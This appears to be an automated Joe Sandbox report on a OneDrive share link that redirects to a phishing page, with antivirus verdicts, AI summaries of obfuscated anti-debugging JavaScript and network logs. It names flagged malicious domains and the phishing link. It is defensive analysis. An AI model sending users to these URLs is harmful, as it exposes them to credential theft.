Edit tour

Windows Analysis Report
https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9

Overview

General Information

Sample URL:	https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9
Analysis ID:	1577029
Infos:

Detection

Score:	60
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

AI detected suspicious Javascript

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64_ra

chrome.exe (PID: 5236 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6524 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1880 --field-trial-handle=1964,i,14066540551859263657,123845628713163219,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6992 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: https://1drv.ms/w/c/17cc1e7b64547fa0/ER4uyAUCto9GkfZ_Sw-4_NAB9TeJj_jWV9oRzb3kdQINFQ?e=4%3aaVtPRh&sharingv2=true&fromShare=true&at=9

SlashNext: detection malicious, Label: Credential Stealing type: Phishing & Social Engineering

Antivirus detection for URL or domain

Source: https://ivfqcze9jpywgexhiy1ev9zzqhigpjadjigpjmdm1kbev6ftctv6ybfkt5ej.lpliwptf.ru/choqmnpnjiwpotfzqbXzTLDBQdlXDXJCVGMCWEVKGVHWSZRTWLDCYXMIYUFOVGKDVIOKEBBWGGQBNPKDXI

Avira URL Cloud: Label: malware

Phishing

AI detected suspicious Javascript

Source: 0.73.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://uoqp.foadinexer.ru/Kkw5r3/... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to an external domain. The combination of these behaviors suggests a malicious intent to prevent analysis and potentially compromise the user's system.
Source: 0.70.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://uoqp.foadinexer.ru/Kkw5r3/... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated code and the presence of anti-debugging techniques further increase the risk. Overall, this script demonstrates a high likelihood of malicious intent and should be treated with caution.
Source: 0.74.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://uoqp.foadinexer.ru/Kkw5r3/... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and redirects to suspicious domains. The use of obfuscated URLs and the interaction with untrusted domains further increase the risk. While the script may have some legitimate functionality, the overall behavior is highly suspicious and indicative of potential malicious intent.

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Number of links: 0

Source: https://onedrive.live.com/personal/17cc1e7b64547fa0/_layouts/15/Doc.aspx?sourcedoc=%7B05c82e1e-b602-468f-91f6-7f4b0fb8fcd0%7D&action=default&fromShare=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_ZT00OmFWdFBSaCZzaGFyaW5ndjI9dHJ1ZSZmcm9tU2hhcmU9dHJ1ZSZhdD05&slrid=24886ea1-70e2-7000-1508-6a946bae7d0b&originalPath=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_cnRpbWU9S29nS2F0b2UzVWc&CID=dffede72-4382-4548-a4e8-d3b7d7a6a9d1&_SRM=0:G:33

HTTP Parser: Base64 decoded: {"siteid":"99f0858d-7028-49f5-89ab-c8bf3e3a1e91","aud":"00000003-0000-0ff1-ce00-000000000000/onedrive.live.com@9188040d-6c67-4c5b-b112-36a304b66dad","exp":"1734896160"}

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true

HTTP Parser: Iframe src: https://login.live.com/Me.htm?v=3

HTTP Parser: <input type="password" .../> found

Source: https://onedrive.live.com/personal/17cc1e7b64547fa0/_layouts/15/Doc.aspx?sourcedoc=%7B05c82e1e-b602-468f-91f6-7f4b0fb8fcd0%7D&action=default&fromShare=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_ZT00OmFWdFBSaCZzaGFyaW5ndjI9dHJ1ZSZmcm9tU2hhcmU9dHJ1ZSZhdD05&slrid=24886ea1-70e2-7000-1508-6a946bae7d0b&originalPath=aHR0cHM6Ly8xZHJ2Lm1zL3cvYy8xN2NjMWU3YjY0NTQ3ZmEwL0VSNHV5QVVDdG85R2tmWl9Tdy00X05BQjlUZUpqX2pXVjlvUnpiM2tkUUlORlE_cnRpbWU9S29nS2F0b2UzVWc&CID=dffede72-4382-4548-a4e8-d3b7d7a6a9d1&_SRM=0:G:33	HTTP Parser: No favicon
Source: https://uoqp.foadinexer.ru/Kkw5r3/	HTTP Parser: No favicon
Source: https://uoqp.foadinexer.ru/Kkw5r3/	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.microsoft365.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638700646460581042.ZTRiNjdjOTgtYzRlZS00OGE3LThmNGEtNWI0NDEyNDY3YmM3ZjUxNjQ4MTQtY2JmYy00YjI2LWFmZmYtOGQ2OWVkOGM0NWFl&ui_locales=en-US&mkt=en-US&client-request-id=00253917-800b-45d0-91a3-4783e85958c2&state=eOzX7pIimQpGF6NtB_7dvTcUR03XxmAmKBnUvBgSu8kTbyD-ZZmfFHmqZlCByo43kq1cn40pJlea0jqQVTxjVLI_inMw83TYNbfXC22kFXFV3-eB17gX3mMX4NvI87OYOWX3y8qqjCAGq7viy2e0mro7Qnen15FlVvqe494Hbol74ELBuCzhgWi-GwoxZOq7uYUJ0if9Lmr_I3OL8iyNyna54STnJ6g8M2vPeQHl5jWWqpnHIAG5thk2xCODxj9UPJHAsEAIvbCosXXw-nmCoF25PKyIo5hSBbMiU2EDi_AHSE0vPaIuJz8iGgNg6jAcLsEOarrsfnLzCd1DSf_nrQ&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.10
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 192.229.211.108
